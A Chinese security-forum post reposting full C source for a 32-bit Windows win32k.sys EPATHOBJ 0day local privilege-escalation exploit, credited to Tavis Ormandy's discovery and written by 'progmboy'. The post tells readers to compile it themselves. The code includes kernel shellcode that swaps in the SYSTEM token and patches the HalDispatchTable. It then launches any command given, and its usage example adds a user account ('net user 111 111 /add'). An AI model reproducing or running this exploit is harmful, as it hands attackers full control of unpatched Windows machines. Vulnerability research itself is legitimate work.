发表于 3 天前 |只看该作者 |倒序浏览 各位机友自己去编译吧
) E/ c( I3 J* m1 O* J# c# Q9 ]
原帖内容如下:www.t00ls.net: R& ^0 M3 k( A0 ^9 D
Tavis Ormandy 在做压力测试的时候发现的这个漏洞. - 专注网络安全4 q: B7 R2 U' s( v: c
5 I! K3 F2 h: q
see:
http://blog.cmpxchg8b.com/
http://seclists.org/fulldisclosure/2013/May/118
01.#include <stdio.h>
02.#include <STDARG.H>
03.#include <stddef.h>
04.#include <windows.h>
05.//#include <ntstatus.h>
06.
07.#pragma comment(lib, "gdi32")
08.#pragma comment(lib, "kernel32")
09.#pragma comment(lib, "user32")
10.
11.#define MAX_POLYPOINTS (8192 * 3)
12.#define MAX_REGIONS 8192
13.#define CYCLE_TIMEOUT 10000
14.
15.#pragma comment(linker, "/SECTION:.text,ERW")
16.
17.//
18.// win32k!EPATHOBJ::pprFlattenRec uninitialized Next pointer testcase.
19.//
20.// Tavis Ormandy <taviso () cmpxchg8b com>, March 2013
21.//
22.
23.POINT Points[MAX_POLYPOINTS];
24.BYTE PointTypes[MAX_POLYPOINTS];
25.HRGN Regions[MAX_REGIONS];
26.ULONG NumRegion = 0;
27.HANDLE Mutex;
28.
29.// Log levels.
30.typedef enum { L_DEBUG, L_INFO, L_WARN, L_ERROR } LEVEL, *PLEVEL;
31.
32.VOID LogInit();
33.VOID LogRelase();
34.BOOL LogMessage(LEVEL Level, PCHAR Format, ...);
35.
36.// Copied from winddi.h from the DDK
37.#define PD_BEGINSUBPATH 0x00000001
38.#define PD_ENDSUBPATH 0x00000002
39.#define PD_RESETSTYLE 0x00000004
40.#define PD_CLOSEFIGURE 0x00000008
41.#define PD_BEZIERS 0x00000010
42.
43.#define ENABLE_SWITCH_DESKTOP 1
44.
45.typedef struct _POINTFIX
46.{
47. ULONG x;
48. ULONG y;
49.} POINTFIX, *PPOINTFIX;
50.
51.// Approximated from reverse engineering.
52.typedef struct _PATHRECORD {
53. struct _PATHRECORD *next;
54. struct _PATHRECORD *prev;
55. ULONG flags;
56. ULONG count;
57. POINTFIX points[4];
58.} PATHRECORD, *PPATHRECORD;
59.
60.PPATHRECORD PathRecord;
61.PATHRECORD ExploitRecord = {0};
62.PPATHRECORD ExploitRecordExit;
63.
64.typedef struct _RTL_PROCESS_MODULE_INFORMATION {
65. HANDLE Section; // Not filled in
66. PVOID MappedBase;
67. PVOID ImageBase;
68. ULONG ImageSize;
69. ULONG Flags;
70. USHORT LoadOrderIndex;
71. USHORT InitOrderIndex;
72. USHORT LoadCount;
73. USHORT OffsetToFileName;
74. UCHAR FullPathName[ 256 ];
75.} RTL_PROCESS_MODULE_INFORMATION, *PRTL_PROCESS_MODULE_INFORMATION;
76.
77.typedef struct _RTL_PROCESS_MODULES {
78. ULONG NumberOfModules;
79. RTL_PROCESS_MODULE_INFORMATION Modules[ 1 ];
80.} RTL_PROCESS_MODULES, *PRTL_PROCESS_MODULES;
81.
82.typedef ULONG ( __stdcall *NtQueryIntervalProfile_ ) ( ULONG, PULONG );
83.typedef ULONG ( __stdcall *NtQuerySystemInformation_ ) ( ULONG, PVOID, ULONG, PULONG );
84.typedef ULONG ( __stdcall *NtAllocateVirtualMemory_ ) ( HANDLE, PVOID, ULONG, PULONG, ULONG, ULONG );
85.typedef ULONG ( __stdcall *NtFreeVirtualMemory_)( HANDLE, PVOID, PULONG, ULONG);
86.
87.NtQueryIntervalProfile_ NtQueryIntervalProfile;
88.NtAllocateVirtualMemory_ NtAllocateVirtualMemory;
89.NtQuerySystemInformation_ NtQuerySystemInformation;
90.NtFreeVirtualMemory_ NtFreeVirtualMemory;
91.ULONG PsInitialSystemProcess, PsReferencePrimaryToken,
92. PsGetThreadProcess, WriteToHalDispatchTable, FixAddress;
93.
94.void _declspec(naked) ShellCode()
95.{
96. __asm
97. {
98. pushad
99. pushfd
100. mov esi,PsReferencePrimaryToken
101.FindTokenOffset:
102. lodsb
103. cmp al, 8Dh;
104. jnz FindTokenOffset
105. mov edi,[esi+1]
106. mov esi,PsInitialSystemProcess
107. mov esi,[esi]
108. push fs:[124h]
109. mov eax,PsGetThreadProcess
110. call eax
111. add esi, edi
112. push esi
113. add edi, eax
114. movsd
115.
116. ;add token ref count.
117. pop esi
118. mov esi, [esi]
119. and esi, 0xFFFFFFF8
120. lea eax, [esi-0x18]
121. mov DWORD PTR [eax], 0x016B00B5
122. ;fix the haltable
123. mov eax, WriteToHalDispatchTable
124. mov ecx, FixAddress
125. mov [ecx], 0xC3
126. mov DWORD PTR [eax], ecx
127.
128. popfd
129. popad
130. ;set ret code for NtQueryIntervalProfile
131. mov eax, [esp+0xc]
132. mov DWORD PTR [eax+4], 1
133. mov DWORD PTR [eax+8], 0xC0000018
134. xor eax, eax
135. ret
136. }
137.}
138.
139.DWORD WINAPI WatchdogThread(LPVOID Parameter)
140.{
141. //
142. // This routine waits for a mutex object to timeout, then patches the
143. // compromised linked list to point to an exploit. We need to do this.
144. //
145.
146. LogMessage(L_INFO, "Watchdog thread %d waiting on Mutex", GetCurrentThreadId());
147.
148. if (WaitForSingleObject(Mutex, CYCLE_TIMEOUT) == WAIT_TIMEOUT) {
149.
150. //
151. // It looks like the main thread is stuck in a call to FlattenPath(),
152. // because the kernel is spinning in EPATHOBJ::bFlatten(). We can clean
153. // up, and then patch the list to trigger our exploit.
154. //
155.
156. while (NumRegion--)
157. DeleteObject(Regions[NumRegion]);
158.
159. LogMessage(L_ERROR, "InterlockedExchange(0x%08x, 0x%08x);", &PathRecord->next, &ExploitRecord);
160.
161. InterlockedExchange((PLONG)&PathRecord->next, (LONG)&ExploitRecord);
162.
163. } else {
164. LogMessage(L_ERROR, "Mutex object did not timeout, list not patched");
165. }
166.
167. return 0;
168.}
169.
170.void wellcome()
171.{
172. printf("\t\tthe win32k.sys EPATHOBJ 0day exploit\n");
173. printf("*******************************************************************\n");
174. printf("***\texploit by:<progmboy> <programmeboy@gmail.com>\t\t***\n");
175. printf("***\t0day finder:<Tavis Ormandy> <taviso@cmpxchg8b.com>\t***\n");
176. printf("***\ttested system:xp/2003/win7/2008 (*32bit*)\t\t***\n");
177. printf("*******************************************************************\n");
178.}
179.
180.void usage()
181.{
182. printf("\nusage:\n<app> <cmd> <parameter>\n");
183. printf("example:\napp.exe net \"user 111 111 /add\"");
184.}
185.
186.BOOL
187.FindAFixAddress(
188. ULONG NtoskrnlBase)
189.{
190. FixAddress = NtoskrnlBase + FIELD_OFFSET(IMAGE_DOS_HEADER, e_res2);
191. LogMessage(L_INFO, "Get FixAddress --> 0x%08x", FixAddress);
192. return TRUE;
193.
194.}
195.
196.// 0x602464FF; /*jmp esp+0x60*/
197.// 0x51C3686A; /*push 0; ret*/
198.DWORD CheckMagicDword()
199.{
200. OSVERSIONINFOEX OSVer;
201. DWORD dwMagic = 0;
202.
203. OSVer.dwOSVersionInfoSize = sizeof(OSVERSIONINFOEX);
204. if(GetVersionEx((OSVERSIONINFO *)&OSVer)){
205. switch(OSVer.dwMajorVersion){
206. case 5:
207. dwMagic = 0x602464FF;
208. break;
209. case 6:
210. dwMagic = 0x642464FF;
211. break;
212. default:
213. dwMagic = 0;
214. }
215. }
216. return dwMagic;
217.}
218.
219.
220.int main(int argc, char **argv)
221.{
222. HANDLE Thread;
223. HDC Device;
224. ULONG Size;
225. ULONG PointNum;
226. int nret = 0;
227.
228. DWORD MAGIC_DWORD = CheckMagicDword();
229. ULONG AllocSize = 0x1000, status, NtoskrnlBase;
230. RTL_PROCESS_MODULES module;
231. HMODULE ntoskrnl = NULL;
232. DWORD dwFix;
233. ULONG Address = MAGIC_DWORD & 0xFFFFF000;
234. LONG ret;
235. BOOL bRet = FALSE;
236.#ifdef ENABLE_SWITCH_DESKTOP
237. HDESK hDesk;
238.#endif
239. HMODULE ntdll = GetModuleHandle( "ntdll.dll" );
240.
241. wellcome();
242.
243. if (argc < 2){
244. usage();
245. return -1;
246. }
247.
248. if (!MAGIC_DWORD){
249. LogMessage(L_ERROR, "unsupported system version\n");
250. return -1;
251. }
252.
253. LogInit();
254.
255. NtQueryIntervalProfile = (NtQueryIntervalProfile_)GetProcAddress( ntdll ,"NtQueryIntervalProfile" );
256. NtAllocateVirtualMemory = (NtAllocateVirtualMemory_)GetProcAddress( ntdll ,"NtAllocateVirtualMemory" );
257. NtQuerySystemInformation = (NtQuerySystemInformation_)GetProcAddress( ntdll ,"NtQuerySystemInformation" );
258. NtFreeVirtualMemory = (NtFreeVirtualMemory_)GetProcAddress( ntdll ,"NtFreeVirtualMemory" );
259. if ( !NtQueryIntervalProfile || !NtAllocateVirtualMemory ||
260. !NtQuerySystemInformation || !NtFreeVirtualMemory){
261. LogMessage(L_ERROR, "get function address error\n");
262. LogRelase();
263. return -1;
264. }
265.
266. //
267. // try to allocate memory.
268. //
269.
270. while (TRUE){
271. ret = NtAllocateVirtualMemory( (HANDLE)-1, &Address, 0, &AllocSize, MEM_RESERVE|MEM_COMMIT, PAGE_EXECUTE_READWRITE );
272. if(ret < 0){
273. MEMORY_BASIC_INFORMATION meminfo;
274. LogMessage(L_ERROR, "allocate memory error code 0x%08x", ret);
275. LogMessage(L_INFO, "try to free memory");
276. if(VirtualQuery((LPVOID)Address, &meminfo, sizeof(meminfo))){
277. LogMessage(L_INFO, "meminfo state %d %d\n", meminfo.State, meminfo.Protect);
278. }
279. ret = NtFreeVirtualMemory((HANDLE)-1, &Address, &AllocSize, MEM_RELEASE);
280. if (ret < 0){
281. LogMessage(L_ERROR, "free memory error code 0x%08x", ret);
282. LogRelase();
283. return -1;
284. }
285. }else{
286. break;
287. }
288. }
289.
290. //
291. // get the kernel info
292. //
293.
294. status = NtQuerySystemInformation( 11, &module, sizeof(RTL_PROCESS_MODULES), NULL);//SystemModuleInformation 11
295. if ( status != 0xC0000004 ){
296. LogMessage(L_ERROR, "NtQuerySystemInformation error code:0x%08x\n", status);
297. LogRelase();
298. return -1;
299. }
300.
301. NtoskrnlBase = (ULONG)module.Modules[0].ImageBase;
302.
303. //
304. // 把ntoskrnl.exe加载进来
305. //
306.
307. ntoskrnl = LoadLibraryA( (LPCSTR)( module.Modules[0].FullPathName + module.Modules[0].OffsetToFileName ) );
308. if (ntoskrnl == NULL){
309. LogMessage(L_ERROR, "LoadLibraryA error code:0x%08x\n", GetLastError());
310. LogRelase();
311. return -1;
312. }
313.
314. //
315. // 计算实际地址
316. //
317.
318. WriteToHalDispatchTable = (ULONG)GetProcAddress(ntoskrnl,"HalDispatchTable") - (ULONG)ntoskrnl + NtoskrnlBase + 4;
319. PsInitialSystemProcess = (ULONG)GetProcAddress(ntoskrnl,"PsInitialSystemProcess") - (ULONG)ntoskrnl + NtoskrnlBase;
320. PsReferencePrimaryToken = (ULONG)GetProcAddress(ntoskrnl,"PsReferencePrimaryToken") - (ULONG)ntoskrnl + NtoskrnlBase;
321. PsGetThreadProcess = (ULONG)GetProcAddress(ntoskrnl,"PsGetThreadProcess") - (ULONG)ntoskrnl + NtoskrnlBase;
322.
323. if(!FindAFixAddress(NtoskrnlBase)){
324. LogMessage(L_ERROR, "Can not Find A Fix Address\n");
325. nret = -1;
326. goto __end;
327. }
328.
329. //
330. // Create our PATHRECORD in user space we will get added to the EPATHOBJ
331. // pathrecord chain.
332. //
333.
334. PathRecord = (PPATHRECORD)VirtualAlloc(NULL,
335. sizeof(PATHRECORD),
336. MEM_COMMIT | MEM_RESERVE,
337. PAGE_EXECUTE_READWRITE);
338.
339. LogMessage(L_INFO, "Alllocated userspace PATHRECORD () %p", PathRecord);
340.
341. //
342. // Initialize with recognizable debugging values.
343. //
344.
345. FillMemory(PathRecord, sizeof(PATHRECORD), 0xCC);
346.
347. PathRecord->next = PathRecord;
348. PathRecord->prev = (PPATHRECORD)(0x42424242);
349.
350. //
351. // You need the PD_BEZIERS flag to enter EPATHOBJ::pprFlattenRec() from
352. // EPATHOBJ::bFlatten(). We don't set it so that we can trigger an infinite
353. // loop in EPATHOBJ::bFlatten().
354. //
355.
356. PathRecord->flags = 0;
357.
358. LogMessage(L_INFO, " ->next @ %p", PathRecord->next);
359. LogMessage(L_INFO, " ->prev @ %p", PathRecord->prev);
360. LogMessage(L_INFO, " ->flags @ %u", PathRecord->flags);
361.
362. ExploitRecordExit = (PPATHRECORD)MAGIC_DWORD;
363. ExploitRecordExit->next = NULL;
364. ExploitRecordExit->next = NULL;
365. ExploitRecordExit->flags = PD_BEGINSUBPATH;
366. ExploitRecordExit->count = 0;
367.
368.
369. ExploitRecord.next = (PPATHRECORD)MAGIC_DWORD;
370. ExploitRecord.prev = (PPATHRECORD)WriteToHalDispatchTable;
371. ExploitRecord.flags = PD_BEZIERS | PD_BEGINSUBPATH;
372. ExploitRecord.count = 4;
373.
374. LogMessage(L_INFO, "Creating complex bezier path with %x", (ULONG)(PathRecord) >> 4);
375.
376. //
377. // Generate a large number of Belier Curves made up of pointers to our
378. // PATHRECORD object.
379. //
380.
381. for (PointNum = 0; PointNum < MAX_POLYPOINTS; PointNum++) {
382. Points[PointNum].x = (ULONG)(PathRecord) >> 4;
383. Points[PointNum].y = (ULONG)(PathRecord) >> 4;
384. PointTypes[PointNum] = PT_BEZIERTO;
385. }
386.
387. //
388. // Switch to a dedicated desktop so we don't spam the visible desktop with
389. // our Lines (Not required, just stops the screen from redrawing slowly).
390. //
391.#ifdef ENABLE_SWITCH_DESKTOP
392. hDesk = CreateDesktop( "DontPanic",
393. NULL,
394. NULL,
395. 0,
396. GENERIC_ALL,
397. NULL);
398. if (hDesk){
399. SetThreadDesktop(hDesk);
400. }
401.#endif
402.
403. while (TRUE){
404.
405. BOOL bBreak = FALSE;
406.
407. Mutex = CreateMutex(NULL, TRUE, NULL);
408. if (!Mutex){
409. LogMessage(L_INFO, "Allocated %u HRGN objects", NumRegion);
410. nret = -1;
411. goto __end;
412. }
413.
414. //
415. // Get a handle to this Desktop.
416. //
417.
418. Device = GetDC(NULL);
419.
420. //
421. // Spawn a thread to cleanup
422. //
423.
424. Thread = CreateThread(NULL, 0, WatchdogThread, NULL, 0, NULL);
425.
426. LogMessage(L_INFO, "start CreateRoundRectRgn");
427.
428. //
429. // We need to cause a specific AllocObject() to fail to trigger the
430. // exploitable condition. To do this, I create a large number of rounded
431. // rectangular regions until they start failing. I don't think it matters
432. // what you use to exhaust paged memory, there is probably a better way.
433. //
434. // I don't use the simpler CreateRectRgn() because it leaks a GDI handle on
435. // failure. Seriously, do some damn QA Microsoft, wtf.
436. //
437.
438. for (Size = 1 << 26; Size; Size >>= 1) {
439. while (TRUE){
440. HRGN hm = CreateRoundRectRgn(0, 0, 1, Size, 1, 1);
441. if (!hm){
442. break;
443. }
444. if (NumRegion < MAX_REGIONS){
445. Regions[NumRegion] = hm;
446. NumRegion++;
447. }else{
448. NumRegion = 0;
449. }
450. }
451. }
452.
453. LogMessage(L_INFO, "Allocated %u HRGN objects", NumRegion);
454.
455. LogMessage(L_INFO, "Flattening curves...");
456.
457. //
458. // Begin filling the free list with our points.
459. //
460.
461. dwFix = *(PULONG)ShellCode;
462.
463. for (PointNum = MAX_POLYPOINTS; PointNum; PointNum -= 3) {
464. BeginPath(Device);
465. PolyDraw(Device, Points, PointTypes, PointNum);
466. EndPath(Device);
467. FlattenPath(Device);
468. FlattenPath(Device);
469.
470. //
471. // call the function to exploit.
472. //
473.
474. ret = NtQueryIntervalProfile(2, (PULONG)ShellCode);
475.
476. //
477. // we will set the status with 0xC0000018 in ring0 shellcode.
478. //
479.
480. if (*(PULONG)ShellCode == 0xC0000018){
481. bRet = TRUE;
482. break;
483. }
484.
485. //
486. // fix
487. //
488.
489. *(PULONG)ShellCode = dwFix;
490.
491. EndPath(Device);
492. }
493.
494. if (bRet){
495. LogMessage(L_INFO, "Exploit ok run command");
496. ShellExecute( NULL, "open", argv[1], argc > 2 ? argv[2] : NULL, NULL, SW_SHOW);
497. bBreak = TRUE;
498. }else{
499. LogMessage(L_INFO, "No luck, cleaning up. and try again..");
500. }
501.
502. //
503. // If we reach here, we didn't trigger the condition. Let the other thread know.
504. //
505.
506. ReleaseMutex(Mutex);
507.
508. ReleaseDC(NULL, Device);
509. WaitForSingleObject(Thread, INFINITE);
510.
511. if (bBreak){
512. break;
513. }
514.
515. }
516.__end:
517. LogRelase();
518. if (ntoskrnl)
519. FreeLibrary(ntoskrnl);
520.#ifdef ENABLE_SWITCH_DESKTOP
521. if (hDesk){
522. CloseHandle(hDesk);
523. }
524.#endif
525. return nret;
526.}
527.
528.CRITICAL_SECTION gCSection;
529.
530.VOID LogInit()
531.{
532. InitializeCriticalSection(&gCSection);
533.}
534.
535.VOID LogRelase()
536.{
537. DeleteCriticalSection(&gCSection);
538.}
539.
540.//
541.// A quick logging routine for debug messages.
542.//
543.
544.BOOL LogMessage(LEVEL Level, PCHAR Format, ...)
545.{
546. CHAR Buffer[1024] = {0};
547. va_list Args;
548.
549. EnterCriticalSection(&gCSection);
550.
551. va_start(Args, Format);
552. _snprintf(Buffer, sizeof(Buffer), Format, Args);
553. va_end(Args);
554.
555. switch (Level) {
556. case L_DEBUG: fprintf(stdout, "[?] %s\n", Buffer); break;
557. case L_INFO: fprintf(stdout, "[+] %s\n", Buffer); break;
558. case L_WARN: fprintf(stderr, " %s\n", Buffer); break;
559. case L_ERROR: fprintf(stderr, "[!] %s\n", Buffer); break;
560. }
561.
562. fflush(stdout);
563. fflush(stderr);
564.
565. LeaveCriticalSection(&gCSection);
566.
567. return TRUE;
568.}
|